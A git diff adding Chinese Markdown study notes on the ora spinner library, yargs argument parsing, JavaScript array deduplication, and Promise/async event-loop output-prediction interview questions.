\344\274\230\351\233\205\347\232\204\347\273\210\347\253\257\346\227\213\350\275\254\345\231\250.md" new file mode 100644 index 00000000..57f278d1 --- /dev/null +++ "b/src/Node/\345\272\223/ora \344\274\230\351\233\205\347\232\204\347\273\210\347\253\257\346\227\213\350\275\254\345\231\250.md" @@ -0,0 +1,344 @@ +其实就是一个用在console的加载动画显示器~ + +![image.png](https://github.com/sindresorhus/ora/raw/main/screenshot.svg) + +### 安装 + +```shell +npm install ora +``` + +### 使用 + +```js +import ora from 'ora'; + +const spinner = ora('Loading unicorns').start(); + +setTimeout(() => { + spinner.color = 'yellow'; + spinner.text = 'Loading rainbows'; +}, 1000); +``` + +### API + +#### ora(text) + +#### ora(options) + +如果提供了字符串,则将其视为 [`options.text`](https://link.segmentfault.com/?enc=M8J9jWwpx5wG2mFWQHvdzg%3D%3D.qqpC33LLRQrwAs3lZzOEX4wEtZ7j44Q82nKM5eUtlJ0wp2CoSV7R4d8LbJJsaqaA)的快捷方式 + +##### options + +Type: `object` + +###### text + +Type: `string` + +在转轮后显示的文本。 + +###### prefixText + +Type: `string | () => string` + +文本或返回要在转轮前显示的文本的函数。如果设置为空字符串,将不显示前缀文本。 + +###### spinner + +Type: `string | object` +Default: `'dots'` + +如果您想测试不同的`spinner` ,请参阅repo中的 `example.js`。在Windows上,它总是使用`line`转轮,因为Windows命令行没有适当的Unicode支持。 + +或者像这样的对象: + +```dts +{ + interval: 80, // Optional + frames: ['-', '+', '-'] +} +``` + +###### color + +Type: `string` +Default: `'cyan'` +Values: `'black' | 'red' | 'green' | 'yellow' | 'blue' | 'magenta' | 'cyan' | 'white' | 'gray'` + +转轮颜色 + +###### hideCursor + +Type: `boolean` +Default: `true` + +设置为false将阻止Ora隐藏光标 + +###### indent + +Type: `number` +Default: `0` + +用给定的空格数缩进微调格 + +###### interval + +Type: `number` +Default: 由转轮提供或 `100` + +每帧之间的间隔。 + +转轮提供了它们自己的推荐间隔,所以实际上不需要指定这个间隔。 + +###### stream + +Type: `stream.Writable` +Default: `process.stderr` + +流来写入输出。 + +例如,您可以将其设置为`process.stdout`。 + +###### isEnabled + +Type: `boolean` + +强制启用/禁用转轮。如果未指定,则如果流在TTY上下文中(未派生或管道传输)和/或不在CI环境中运行,则转轮将被启用。 + +注意 `{isEnabled: false}` 并不意味着它不会输出任何东西。它只是意味着它不会输出转轮、颜色和其他ansi转义代码。它仍然会记录文本。 + +###### isSilent + +Type: `boolean` +Default: `false` + +禁用转轮和所有日志文本。将考虑压制和启用所有输出`false`. + +###### discardStdin + +Type: `boolean` +Default: `true` + +丢弃stdin输入(Ctrl+C除外) 当它是TTY运行。这可以防止转轮在输入时抖动,在按 Enter 键时输出折线,并防止在转轮运行时对输入进行缓冲。 + +这对Windows没有影响,因为没有好的方法来正确地实现丢弃stdin。 + +#### Instance + +##### .start(text?) + +启动转轮。返回的实例。如果提供了文本,则设置当前文本。 + +##### .stop() + +停止并清除转轮。返回的实例。 + +##### .succeed(text?) + +停止转轮,将其更改为绿色 `✔` 并持久化当前文本,或 `text` 如果提供。返回的实例。请看下面的GIF图 + +##### .fail(text?) + +停止旋转,将其改为红色 `✖`并持久化当前文本,或 `text` 如果提供。返回的实例。请看下面的GIF。 + +##### .warn(text?) + +停止转轮,将其更改为黄色 `⚠` 并持久化当前文本,或`text` 如果提供。返回的实例。 + +##### .info(text?) + +停止转轮,将其更改为蓝色 `ℹ` 并持久化当前文本,或`text` 如果提供。返回的实例。 + +##### .isSpinning + +一个布尔值,表示实例当前是否在旋转。 + +##### .stopAndPersist(options?) + +停止转轮并更改符号或文本。返回的实例。请看下面的GIF。 + +###### options + +Type: `object` + +###### symbol + +Type: `string` +Default: `' '` + +将转轮替换为 + +###### text + +Type: `string` +Default: Current `'text'` + +将持久存储在符号之后的文本 + +###### prefixText + +Type: `string` +Default: Current `prefixText` + +将保存在符号之前的文本。如果设置为空字符串,将不显示前缀文本。 + +img + +##### .clear() + +清理转轮。返回的实例。 + +##### .render() + +手工渲染一个新帧。返回的实例。 + +##### .frame() + +给一个新帧 + +##### .text + +更改转轮后的文本。 + +##### .prefixText + +更改转轮之前的文本。如果设置为空字符串,将不显示前缀文本。 + +##### .color + +更改转轮颜色。 + +##### .spinner + +改变转轮。 + +##### .indent + +更改转轮缩进。 + +#### ora.promise(action, text) + +#### ora.promise(action, options) + +开始一个转轮的promise。如果promise实现,则在fulfills情况下使用`.succeed()`停止转轮;如果rejects,则使用.`fail()`停止转轮。返回转轮实例。 + +```js +import {oraPromise} from 'ora'; + +await oraPromise(somePromise); +``` + +##### action + +Type: `Promise` + +#### options + +Type: `object` + +所有 [options](https://github.com/sindresorhus/ora#options) 加上以下内容 + +##### successText + +Type: `string | ((result: T) => string) | undefined` + +当承诺被解决时,spinner的新文本。 + +如果未定义,则保留现有文本。 + +##### failText + +Type: `string | ((error: Error) => string) | undefined` + +当承诺被拒绝时,作为spinner的新文本。 + +如果未定义,则保留现有文本。 + +### spinners + +Type: `Record` + +所有 [provided spinners](https://github.com/sindresorhus/cli-spinners/blob/main/spinners.json). + +### Example + +```js +import process from 'node:process'; +import chalk from 'chalk'; +import logSymbols from 'log-symbols'; +import ora from 'ora'; + +const spinner = ora({ + discardStdin: false, + text: 'Loading unicorns, not discarding stdin', + spinner: process.argv[2], +}); + +const spinnerDiscardingStdin = ora({ + text: 'Loading unicorns', + spinner: process.argv[2], +}); + +spinnerDiscardingStdin.start(); + +setTimeout(() => { + spinnerDiscardingStdin.succeed(); +}, 1000); + +setTimeout(() => { + spinnerDiscardingStdin.start(); +}, 2000); + +setTimeout(() => { + spinnerDiscardingStdin.succeed(); + spinner.start(); +}, 3000); + +setTimeout(() => { + spinner.color = 'yellow'; + spinner.text = `Loading ${chalk.red('rainbows')}`; +}, 4000); + +setTimeout(() => { + spinner.color = 'green'; + spinner.indent = 2; + spinner.text = 'Loading with indent'; +}, 5000); + +setTimeout(() => { + spinner.indent = 0; + spinner.spinner = 'moon'; + spinner.text = 'Loading with different spinners'; +}, 6000); + +setTimeout(() => { + spinner.prefixText = chalk.dim('[info]'); + spinner.spinner = 'dots'; + spinner.text = 'Loading with prefix text'; +}, 8000); + +setTimeout(() => { + spinner.prefixText = ''; + spinner.suffixText = chalk.dim('[info]'); + spinner.text = 'Loading with suffix text'; +}, 10_000); + +setTimeout(() => { + spinner.prefixText = chalk.dim('[info]'); + spinner.suffixText = chalk.dim('[info]'); + spinner.text = 'Loading with prefix and suffix text'; +}, 12_000); + +setTimeout(() => { + spinner.stopAndPersist({ + prefixText: '', + suffixText: '', + symbol: logSymbols.info, + text: 'Stopping with different text!', + }); +}, 14_000); + +``` + diff --git "a/src/Node/\345\272\223/validate-npm-package-name \345\260\217\350\200\214\347\276\216\347\232\204\345\272\223.md" "b/src/Node/\345\272\223/validate-npm-package-name \345\260\217\350\200\214\347\276\216\347\232\204\345\272\223.md" new file mode 100644 index 00000000..e69de29b diff --git "a/src/Node/\345\272\223/yargs \344\275\277\347\224\250\346\214\207\345\215\227.md" "b/src/Node/\345\272\223/yargs \344\275\277\347\224\250\346\214\207\345\215\227.md" new file mode 100644 index 00000000..480dc51a --- /dev/null +++ "b/src/Node/\345\272\223/yargs \344\275\277\347\224\250\346\214\207\345\215\227.md" @@ -0,0 +1,132 @@ +# **yargs** 使用指南 - 优雅处理命令行参数 + +在现代软件开发中,命令行界面是一个非常常见的用户界面,用于与应用程序进行交互。处理命令行参数是命令行界面的重要部分,它可以让用户通过命令行输入不同的选项和参数来配置应用程序的行为。在 Node.js 中,yargs 是一个流行的库,用于处理命令行参数,它提供了许多功能和选项,使得处理命令行参数变得非常简单和优雅。 + +## 什么是 yargs? +yargs 是一个用于处理命令行参数的 Node.js 库,它提供了一个简洁和灵活的方式来解析和处理命令行参数。它允许你定义应用程序的命令和选项,并自动处理用户在命令行中输入的参数。yargs 还支持许多高级功能,例如类型验证、默认值、别名、子命令等,使得处理复杂的命令行参数变得非常简单。 + +## 安装 yargs + +在使用 yargs 之前,你需要先安装它。你可以使用 npm 或 yarn 进行安装,如下所示: + +```shell +npm install yargs +``` + +或者 + +```shell +yarn add yargs +``` + +安装完成后,你可以在你的 Node.js 项目中引入 yargs: + +```js +const yargs = require('yargs') +``` + +or + +```js +const yargs = require('yargs/yargs') +const { hideBin } = require('yargs/helpers') + +yargs(hideBin(process.argv)) +// 其他方法 +``` + +> 注意:hideBin是process.argv.slice(2)的一个缩写。它的好处是考虑到了某些环境下的变化,例如Electron。 +> +> 不使用这种缩写则是长这样 +> +> ```js +> const yargs = require('yargs/yargs')(process.argv.slice(2)) +> ``` + +## yargs 的基本用法 + +yargs 提供了一种简单的方式来定义命令和选项,并处理用户在命令行中输入的参数。下面是 yargs 的基本用法: + +yargs 提供了一种简单的方式来定义命令和选项,并处理用户在命令行中输入的参数。下面是 yargs 的基本用法: + +1. 定义命令: + +```js +yargs.command('hello', 'Prints hello world', (yargs) => {}, (argv) => {}); +``` + +在这个例子中,我们使用 `command` 方法来定义一个名为 `hello` 的命令。`hello` 命令的描述是 `Prints hello world`。`command` 方法接受两个回调函数作为参数。第一个回调函数用于定义命令的选项,我们可以在这里配置命令的参数、别名、类型、默认值等。第二个回调函数用于处理用户在命令行中输入的参数,我们可以在这里编写具体的命令逻辑。 + +1. 定义选项: + +```js +.option('name', { + alias: 'n', + description: 'Your name', + type: 'string', + demandOption: true +}) +``` + +在这个例子中,我们使用 `option` 方法来定义一个名为 `name` 的选项,它的别名是 `n`。`description` 字段用于定义选项的描述信息。`type` 字段用于指定选项的类型,这里我们指定为 `string`。`demandOption` 字段用于指定选项是否为必需的,这里我们将其设置为 `true`,表示 `name` 选项是必需 + +当我们定义了命令和选项后,我们可以通过调用 `argv` 方法来解析命令行参数并获取用户输入的值: + +```js +const argv = yargs.argv; +``` + +`argv` 对象将包含解析后的命令行参数的值,可以通过属性的方式来访问。例如,对于上面定义的 `name` 选项,我们可以通过 `argv.name` 来获取用户输入的 `name` 参数的值。 + +除了基本的命令和选项定义外,yargs 还提供了许多其他功能,例如: + +- 默认值:你可以通过 `default` 方法为选项设置默认值,当用户没有输入该选项时,将使用默认值。 + +```js +.option('age', { + description: 'Your age', + type: 'number', + default: 18 +}) +``` + +- 别名:你可以通过 `alias` 字段为选项设置别名,使得用户可以使用更短的命令来输入参数。 + +```js +.option('gender', { + alias: 'g', + description: 'Your gender', + type: 'string' +}) +``` + +- 类型验证:你可以通过 `type` 字段来指定选项的类型,并进行类型验证。yargs 支持多种类型,如 string、number、boolean 等。 +- 参数校验:你可以通过 `check` 方法来添加自定义的参数校验逻辑,以确保用户输入的参数符合预期的格式和值。 + +```js +.check((argv) => { + if (argv.age < 0) { + throw new Error('Age cannot be negative'); + } + return true; +}) +``` + +- 子命令:你可以通过 `command` 方法来定义子命令,从而实现更复杂的命令行界面。 + +```js +yargs.command('add', 'Add a new item', (yargs) => {}, (argv) => {}) +``` + +这只是 yargs 提供的一些基本功能,还有很多其他高级功能可以帮助你更好地处理命令行参数,如自动生成帮助信息、处理位置参数、支持多级命令等。 + +在编写命令行应用程序时,yargs 可以帮助你优雅地处理命令行参数,简化开发过程,提高代码的可读性和可维护性。 + +## 总结 + +在本篇文章中,我们介绍了 yargs 的基本用法,包括定义命令和选项、设置默认值、别名、类型验证、参数校验和子命令等功能。yargs 是一个功能丰富且易于使用的 Node.js 库,可以帮助你在命令行应用程序中优雅地处理命令行参数。希望这篇博客对你学习和使用 yargs 提供了一些帮助,让你能够更加轻松地处理命令行参数,并编写出高质量的命令行应用程序。 + +## 参考 + +- [yargs - npm](https://www.npmjs.com/package/yargs) +- [yargs.org](http://yargs.js.org/) diff --git "a/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \346\225\260\347\273\204\345\216\273\351\207\215.md" "b/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \346\225\260\347\273\204\345\216\273\351\207\215.md" new file mode 100644 index 00000000..a34ef9f7 --- /dev/null +++ "b/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \346\225\260\347\273\204\345\216\273\351\207\215.md" @@ -0,0 +1,45 @@ +在 JavaScript 中,有多种方法可以对数组进行去重操作。以下是几种常用的方法: + +1. 使用 Set + +Set 是 JavaScript 的内置对象,它是一种有序的集合,其中的元素不允许重复。我们可以利用 Set 对象来去除数组中的重复项。将数组转换为 Set 对象,再将 Set 对象转换回数组,即可实现去重。 + +```js +const arr = [1, 2, 2, 3, 3, 4]; +const uniqueArr = [...new Set(arr)]; // [1, 2, 3, 4] +``` + +2. 使用 filter + +filter 是数组的原生方法之一,它可以通过回调函数对数组的每个元素进行遍历,并返回满足条件的新数组。我们可以在 filter 方法的回调函数中利用 indexOf 方法判断当前元素是否为第一次出现的位置,从而过滤掉重复的元素,实现去重。 + +```js +const arr = [1, 2, 2, 3, 3, 4]; +const uniqueArr = arr.filter((item, index) => arr.indexOf(item) === index); // [1, 2, 3, 4] +``` + +3. 使用 reduce + +reduce 是数组的原生方法之一,它可以对数组进行归并操作,遍历数组并将数组的每个元素合并为一个值。我们可以利用 reduce 方法来保存不重复的元素,通过一个空数组作为累加器,并在每次迭代中判断当前元素是否在累加器中,如果不在,则添加到累加器中,从而实现去重。 + +```js +const arr = [1, 2, 2, 3, 3, 4]; +const uniqueArr = arr.reduce((prev, cur) => prev.includes(cur) ? prev : [...prev, cur], []); // [1, 2, 3, 4] +``` + +4. 使用 Map + +Map 是 JavaScript 的内置对象,它是一种有序的键值对集合,其中的键是唯一的。我们可以利用 Map 对象来存储数组中的元素,由于 Map 对象的键是唯一的特性,重复的元素只会保存一次。通过遍历数组,将每个元素作为键和值存储在 Map 对象中,再将 Map 对象转换回数组,即可实现 + +```js +const arr = [1, 2, 2, 3, 3, 4]; +const map = new Map(); +for (let i = 0; i < arr.length; i++) { + map.set(arr[i], arr[i]); +} +const uniqueArr = [...map.values()]; // [1, 2, 3, 4] +``` + +这里首先利用 map 方法将数组中的每个元素转换为一个包含键值对的数组,其中键和值都设置为数组中的元素。然后将这个数组作为参数传给 Map 构造函数,创建一个 Map 对象。接着,再利用 Array.from 方法将 Map 对象转换为一个包含键值对的二维数组,最后通过 map 方法取出数组中的键,即可得到去重后的数组。 + +这些是 JavaScript 中常用的几种数组去重方法,它们都不需要使用外部的 API,而是使用了 JavaScript 自带的数组和对象方法来实现去重操作。根据具体的场景和需求,选择适合的方法可以高效地去除数组中的重复项。 \ No newline at end of file diff --git "a/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \350\276\223\345\207\272\345\210\244\346\226\255.md" "b/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \350\276\223\345\207\272\345\210\244\346\226\255.md" new file mode 100644 index 00000000..51c95c62 --- /dev/null +++ "b/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \350\276\223\345\207\272\345\210\244\346\226\255.md" @@ -0,0 +1,2082 @@ +--- +date: 2022-06-28 +category: +- 前端 +- JavaScript +--- + +> [「2021」高频前端面试题汇总之代码输出结果篇](https://juejin.cn/post/6959043611161952269) + +# JavaScript 输出判断 + +## 一、异步&事件循环 + +### 1. 代码输出结果 + +```javascript +const promise = new Promise((resolve, reject) => { + console.log(1); + console.log(2); +}); +promise.then(() => { + console.log(3); +}); +console.log(4); +``` + +输出结果如下: + +```javascript +1 +2 +4 +``` + +promise.then 是微任务,它会在所有的宏任务执行完之后才会执行,同时需要promise内部的状态发生变化,因为这里内部没有发生变化,一直处于pending状态,所以不输出3。 + +### 2. 代码输出结果 + +```javascript +const promise1 = new Promise((resolve, reject) => { + console.log('promise1') + resolve('resolve1') +}) +const promise2 = promise1.then(res => { + console.log(res) +}) +console.log('1', promise1); +console.log('2', promise2); +``` + +输出结果如下: + +```javascript +promise1 +1 Promise{: resolve1} +2 Promise{} +resolve1 +``` + +需要注意的是,直接打印promise1,会打印出它的状态值和参数。 + +代码执行过程如下: + +1. script是一个宏任务,按照顺序执行这些代码; +2. 首先进入Promise,执行该构造函数中的代码,打印`promise1`; +3. 碰到`resolve`函数, 将`promise1`的状态改变为`resolved`, 并将结果保存下来; +4. 碰到`promise1.then`这个微任务,将它放入微任务队列; +5. `promise2`是一个新的状态为`pending`的`Promise`; +6. 执行同步代码1, 同时打印出`promise1`的状态是`resolved`; +7. 执行同步代码2,同时打印出`promise2`的状态是`pending`; +8. 宏任务执行完毕,查找微任务队列,发现`promise1.then`这个微任务且状态为`resolved`,执行它。 + +### 3. 代码输出结果 + +```javascript +const promise = new Promise((resolve, reject) => { + console.log(1); + setTimeout(() => { + console.log("timerStart"); + resolve("success"); + console.log("timerEnd"); + }, 0); + console.log(2); +}); +promise.then((res) => { + console.log(res); +}); +console.log(4); +``` + +输出结果如下: + +```javascript +1 +2 +4 +// 下一次循环 +timerStart +timerEnd +// 微任务 +success +``` + +代码执行过程如下: + +- 首先遇到Promise构造函数,会先执行里面的内容,打印`1`; +- 遇到定时器`steTimeout`,它是一个宏任务,放入宏任务队列; +- 继续向下执行,打印出2; +- 由于`Promise`的状态此时还是`pending`,所以`promise.then`先不执行; +- 继续执行下面的同步任务,打印出4; +- 此时微任务队列没有任务,继续执行下一轮宏任务,执行`steTimeout`; +- 首先执行`timerStart`,然后遇到了`resolve`,将`promise`的状态改为`resolved`且保存结果并将之前的`promise.then`推入微任务队列,再执行`timerEnd`; +- 执行完这个宏任务,就去执行微任务`promise.then`,打印出`resolve`的结果。 + +### 4. 代码输出结果 + +```javascript +Promise.resolve().then(() => { + console.log('promise1'); + const timer2 = setTimeout(() => { + console.log('timer2') + }, 0) +}); +const timer1 = setTimeout(() => { + console.log('timer1') + Promise.resolve().then(() => { + console.log('promise2') + }) +}, 0) +console.log('start'); +``` + +输出结果如下: + +```javascript +// 1 +start +promise1 +// 2 +timer1 +promise2 +// 3 +timer2 +``` + +代码执行过程如下: + +1. 首先,`Promise.resolve().then`是一个微任务,加入微任务队列 +2. 执行timer1,它是一个宏任务,加入宏任务队列 +3. 继续执行下面的同步代码,打印出`start` +4. 这样第一轮宏任务就执行完了,开始执行微任务`Promise.resolve().then`,打印出`promise1` +5. 遇到`timer2`,它是一个宏任务,将其加入宏任务队列,此时宏任务队列有两个任务,分别是`timer1`、`timer2`; +6. 这样第一轮微任务就执行完了,开始执行第二轮宏任务,首先执行定时器`timer1`,打印`timer1`; +7. 遇到`Promise.resolve().then`,它是一个微任务,加入微任务队列 +8. 开始执行微任务队列中的任务,打印`promise2`; +9. 最后执行宏任务`timer2`定时器,打印出`timer2`; + +### 5. 代码输出结果 + +```javascript +const promise = new Promise((resolve, reject) => { + resolve('success1'); + reject('error'); + resolve('success2'); +}); +promise.then((res) => { + console.log('then:', res); +}).catch((err) => { + console.log('catch:', err); +}) +``` + +输出结果如下: + +```javascript +then:success1 +``` + +这个题目考察的就是**Promise的状态在发生变化之后,就不会再发生变化**。开始状态由`pending`变为`resolve`,说明已经变为已完成状态,下面的两个状态的就不会再执行,同时下面的catch也不会捕获到错误。 + +### 7. 代码输出结果 + +```javascript +const promise1 = new Promise((resolve, reject) => { + setTimeout(() => { + resolve('success') + }, 1000) +}) +const promise2 = promise1.then(() => { + throw new Error('error!!!') +}) +console.log('promise1', promise1) +console.log('promise2', promise2) +setTimeout(() => { + console.log('promise1', promise1) + console.log('promise2', promise2) +}, 2000) +``` + +输出结果如下: + +```javascript +promise1 Promise {} +promise2 Promise {} + +Uncaught (in promise) Error: error!!! +promise1 Promise {: "success"} +promise2 Promise {: Error: error!!} +``` + +### 8. 代码输出结果 + +```javascript +Promise.resolve(1) + .then(res => { + console.log(res); + return 2; + }) + .catch(err => { + return 3; + }) + .then(res => { + console.log(res); + }); +``` + +输出结果如下: + +```javascript +1 +2 +``` + +Promise是可以链式调用的,由于每次调用 `.then` 或者 `.catch` 都会返回一个新的 promise,从而实现了链式调用, 它并不像一般任务的链式调用一样return this。 + +上面的输出结果之所以依次打印出1和2,是因为`resolve(1)`之后走的是第一个then方法,并没有进catch里,所以第二个then中的res得到的实际上是第一个then的返回值。并且return 2会被包装成`resolve(2)`,被最后的then打印输出2。 + +### 9. 代码输出结果 + +```javascript +Promise.resolve().then(() => { + return new Error('error!!!') +}).then(res => { + console.log("then: ", res) +}).catch(err => { + console.log("catch: ", err) +}) +``` + +输出结果如下: + +```javascript +"then: " "Error: error!!!" +``` + +返回任意一个非 promise 的值都会被包裹成 promise 对象,因此这里的`return new Error('error!!!')`也被包裹成了`return Promise.resolve(new Error('error!!!'))`,因此它会被then捕获而不是catch。 + +### 10. 代码输出结果 + +```javascript +const promise = Promise.resolve().then(() => { + return promise; +}) +promise.catch(console.err) +``` + +输出结果如下: + +```javascript +Uncaught (in promise) TypeError: Chaining cycle detected for promise # +``` + +这里其实是一个坑,`.then` 或 `.catch` 返回的值不能是 promise 本身,否则会造成死循环。 + +### 11. 代码输出结果 + +```javascript +Promise.resolve(1) + .then(2) + .then(Promise.resolve(3)) + .then(console.log) +``` + +输出结果如下: + +```javascript +1 +``` + +看到这个题目,好多的then,实际上只需要记住一个原则:`.then` 或`.catch` 的参数期望是函数,传入非函数则会发生**值透传**。 + +第一个then和第二个then中传入的都不是函数,一个是数字,一个是对象,因此发生了透传,将`resolve(1)` 的值直接传到最后一个then里,直接打印出1。 + +### 12. 代码输出结果 + +```javascript +Promise.reject('err!!!') + .then((res) => { + console.log('success', res) + }, (err) => { + console.log('error', err) + }).catch(err => { + console.log('catch', err) + }) +``` + +输出结果如下: + +```javascript +error err!!! +``` + +我们知道,`.then`函数中的两个参数: + +- 第一个参数是用来处理Promise成功的函数 +- 第二个则是处理失败的函数 + +也就是说`Promise.resolve('1')`的值会进入成功的函数,`Promise.reject('2')`的值会进入失败的函数。 + +在这道题中,错误直接被`then`的第二个参数捕获了,所以就不会被`catch`捕获了,输出结果为:`error err!!!'` + +但是,如果是像下面这样: + +```javascript +Promise.resolve() + .then(function success (res) { + throw new Error('error!!!') + }, function fail1 (err) { + console.log('fail1', err) + }).catch(function fail2 (err) { + console.log('fail2', err) + }) +``` + +在`then`的第一参数中抛出了错误,那么他就不会被第二个参数不活了,而是被后面的`catch`捕获到。 + +### 13. 代码输出结果 + +```javascript +Promise.resolve('1') + .then(res => { + console.log(res) + }) + .finally(() => { + console.log('finally') + }) +Promise.resolve('2') + .finally(() => { + console.log('finally2') + return '我是finally2返回的值' + }) + .then(res => { + console.log('finally2后面的then函数', res) + }) +``` + +输出结果如下: + +```javascript +1 +finally2 +finally +finally2后面的then函数 2 +``` + +`.finally()`一般用的很少,只要记住以下几点就可以了: + +- `.finally()`方法不管Promise对象最后的状态如何都会执行 +- `.finally()`方法的回调函数不接受任何的参数,也就是说你在`.finally()`函数中是无法知道Promise最终的状态是`resolved`还是`rejected`的 +- 它最终返回的默认会是一个上一次的Promise对象值,不过如果抛出的是一个异常则返回异常的Promise对象。 +- finally本质上是then方法的特例 + +`.finally()`的错误捕获: + +```javascript +Promise.resolve('1') + .finally(() => { + console.log('finally1') + throw new Error('我是finally中抛出的异常') + }) + .then(res => { + console.log('finally后面的then函数', res) + }) + .catch(err => { + console.log('捕获错误', err) + }) +``` + +输出结果为: + +```javascript +'finally1' +'捕获错误' Error: 我是finally中抛出的异常 +``` + +### 14. 代码输出结果 + +```javascript +function runAsync (x) { + const p = new Promise(r => setTimeout(() => r(x, console.log(x)), 1000)) + return p +} + +Promise.all([runAsync(1), runAsync(2), runAsync(3)]).then(res => console.log(res)) +``` + +输出结果如下: + +```javascript +1 +2 +3 +[1, 2, 3] +``` + +首先,定义了一个Promise,来异步执行函数runAsync,该函数传入一个值x,然后间隔一秒后打印出这个x。 + +之后再使用`Promise.all`来执行这个函数,执行的时候,看到一秒之后输出了1,2,3,同时输出了数组[1, 2, 3],三个函数是同步执行的,并且在一个回调函数中返回了所有的结果。并且结果和函数的执行顺序是一致的。 + +### 15. 代码输出结果 + +```javascript +function runAsync (x) { + const p = new Promise(r => setTimeout(() => r(x, console.log(x)), 1000)) + return p +} +function runReject (x) { + const p = new Promise((res, rej) => setTimeout(() => rej(`Error: ${x}`, console.log(x)), 1000 * x)) + return p +} +Promise.all([runAsync(1), runReject(4), runAsync(3), runReject(2)]) + .then(res => console.log(res)) + .catch(err => console.log(err)) +``` + +输出结果如下: + +```javascript +// 1s后输出 +1 +3 +// 2s后输出 +2 +Error: 2 +// 4s后输出 +4 +``` + +可以看到。catch捕获到了第一个错误,在这道题目中最先的错误就是`runReject(2)`的结果。如果一组异步操作中有一个异常都不会进入`.then()`的第一个回调函数参数中。会被`.then()`的第二个回调函数捕获。 + +### 16. 代码输出结果 + +```javascript +function runAsync (x) { + const p = new Promise(r => setTimeout(() => r(x, console.log(x)), 1000)) + return p +} +Promise.race([runAsync(1), runAsync(2), runAsync(3)]) + .then(res => console.log('result: ', res)) + .catch(err => console.log(err)) +``` + +输出结果如下: + +```javascript +1 +'result: ' 1 +2 +3 +``` + +then只会捕获第一个成功的方法,其他的函数虽然还会继续执行,但是不是被then捕获了。 + +### 17. 代码输出结果 + +```javascript +function runAsync(x) { + const p = new Promise(r => + setTimeout(() => r(x, console.log(x)), 1000) + ); + return p; +} +function runReject(x) { + const p = new Promise((res, rej) => + setTimeout(() => rej(`Error: ${x}`, console.log(x)), 1000 * x) + ); + return p; +} +Promise.race([runReject(0), runAsync(1), runAsync(2), runAsync(3)]) + .then(res => console.log("result: ", res)) + .catch(err => console.log(err)); +``` + +输出结果如下: + +```javascript +0 +Error: 0 +1 +2 +3 +``` + +可以看到在catch捕获到第一个错误之后,后面的代码还不执行,不过不会再被捕获了。 + +注意:`all`和`race`传入的数组中如果有会抛出异常的异步任务,那么只有最先抛出的错误会被捕获,并且是被then的第二个参数或者后面的catch捕获;但并不会影响数组中其它的异步任务的执行。 + +### 18. 代码输出结果 + +```javascript +async function async1() { + console.log("async1 start"); + await async2(); + console.log("async1 end"); +} +async function async2() { + console.log("async2"); +} +async1(); +console.log('start') +``` + +输出结果如下: + +```javascript +async1 start +async2 +start +async1 end +``` + +代码的执行过程如下: + +1. 首先执行函数中的同步代码`async1 start`,之后遇到了`await`,它会阻塞`async1`后面代码的执行,因此会先去执行`async2`中的同步代码`async2`,然后跳出`async1`; +2. 跳出`async1`函数后,执行同步代码`start`; +3. 在一轮宏任务全部执行完之后,再来执行`await`后面的内容`async1 end`。 + +这里可以理解为await后面的语句相当于放到了new Promise中,下一行及之后的语句相当于放在Promise.then中。 + +### 19. 代码输出结果 + +```javascript +async function async1() { + console.log("async1 start"); + await async2(); + console.log("async1 end"); + setTimeout(() => { + console.log('timer1') + }, 0) +} +async function async2() { + setTimeout(() => { + console.log('timer2') + }, 0) + console.log("async2"); +} +async1(); +setTimeout(() => { + console.log('timer3') +}, 0) +console.log("start") +``` + +输出结果如下: + +```javascript +async1 start +async2 +start +async1 end +// +timer2 +timer3 +// +timer1 +``` + +代码的执行过程如下: + +1. 首先进入`async1`,打印出`async1 start`; +2. 之后遇到`async2`,进入`async2`,遇到定时器`timer2`,加入宏任务队列,之后打印`async2`; +3. 由于`async2`阻塞了后面代码的执行,所以执行后面的定时器`timer3`,将其加入宏任务队列,之后打印`start`; +4. 然后执行async2后面的代码,打印出`async1 end`,遇到定时器timer1,将其加入宏任务队列; +5. 最后,宏任务队列有三个任务,先后顺序为`timer2`,`timer3`,`timer1`,没有微任务,所以直接所有的宏任务按照先进先出的原则执行。 + +### 20. 代码输出结果 + +```javascript +async function async1 () { + console.log('async1 start'); + await new Promise(resolve => { + console.log('promise1') + }) + console.log('async1 success'); + return 'async1 end' +} +console.log('srcipt start') +async1().then(res => console.log(res)) +console.log('srcipt end') +``` + +输出结果如下: + +```javascript +script start +async1 start +promise1 +script end +``` + +这里需要注意的是在`async1`中`await`后面的Promise是没有返回值的,也就是它的状态始终是`pending`状态,所以在`await`之后的内容是不会执行的,包括`async1`后面的 `.then`。 + +### 21. 代码输出结果 + +```javascript +async function async1 () { + console.log('async1 start'); + await new Promise(resolve => { + console.log('promise1') + resolve('promise1 resolve') + }).then(res => console.log(res)) + console.log('async1 success'); + return 'async1 end' +} +console.log('srcipt start') +async1().then(res => console.log(res)) +console.log('srcipt end') +``` + +这里是对上面一题进行了改造,加上了resolve。 + +输出结果如下: + +```javascript +script start +async1 start +promise1 +script end +promise1 resolve +async1 success +async1 end +``` + +### 22. 代码输出结果 + +```javascript +async function async1() { + console.log("async1 start"); + await async2(); + console.log("async1 end"); +} + +async function async2() { + console.log("async2"); +} + +console.log("script start"); + +setTimeout(function() { + console.log("setTimeout"); +}, 0); + +async1(); + +new Promise(resolve => { + console.log("promise1"); + resolve(); +}).then(function() { + console.log("promise2"); +}); +console.log('script end') +``` + +输出结果如下: + +```javascript +script start +async1 start +async2 +promise1 +script end +async1 end +promise2 +setTimeout +``` + +代码执行过程如下: + +1. 开头定义了async1和async2两个函数,但是并未执行,执行script中的代码,所以打印出script start; +2. 遇到定时器Settimeout,它是一个宏任务,将其加入到宏任务队列; +3. 之后执行函数async1,首先打印出async1 start; +4. 遇到await,执行async2,打印出async2,并阻断后面代码的执行,将后面的代码加入到微任务队列; +5. 然后跳出async1和async2,遇到Promise,打印出promise1; +6. 遇到resolve,将其加入到微任务队列,然后执行后面的script代码,打印出script end; +7. 之后就该执行微任务队列了,首先打印出async1 end,然后打印出promise2; +8. 执行完微任务队列,就开始执行宏任务队列中的定时器,打印出setTimeout。 + +### 23. 代码输出结果 + +```javascript +async function async1 () { + await async2(); + console.log('async1'); + return 'async1 success'; +} +async function async2 () { + return new Promise((resolve, reject) => { + console.log('async2') + reject('error'); + }) +} +async1().then(res => console.log(res)) +``` + +输出结果如下: + +```javascript +async2 +Uncaught (in promise) error +``` + 